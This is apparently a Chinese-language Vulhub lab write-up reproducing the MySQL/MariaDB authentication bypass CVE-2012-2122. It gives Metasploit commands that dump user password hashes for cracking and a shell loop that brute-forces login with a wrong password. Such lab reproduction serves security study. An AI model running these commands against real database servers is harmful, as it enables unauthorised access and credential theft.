前言

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。 我们可以使用Meterpreter中的模块或者使用特殊的SQL语句进行身份绕过登录。
影响版本: MySQL 5.1.x before 5.1.63
                5.5.x before 5.5.24,
                5.6.x before 5.6.6,
          MariaDB 5.1.x before 5.1.62,
                  5.2.x before 5.2.12
                  5.3.x before 5.3.6
                  5.5.x before 5.5.23

漏洞环境

cd vulhub-master/mysql/CVE-2012-2122
docker-compose up -d

漏洞复现

Method1:使用Meterpreter

msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 192.168.10.1
set THREADS 100
run
返回结果如下,可以读取到数据库用户Hash值并保存在账户中
继而对Hash值进行破译,可以得到账户密码
Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)_返回结果
Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)_返回结果_02Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)_docker_03

Method2:使用shell语句爆破

 

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.202.133 -P 3306 ; done

 

Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)_sql数据库_04Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)_sql数据库_05
 
爆破多次即绕过身份验证,成功登录数据库,复现成功

关闭靶场环境

docker-compose down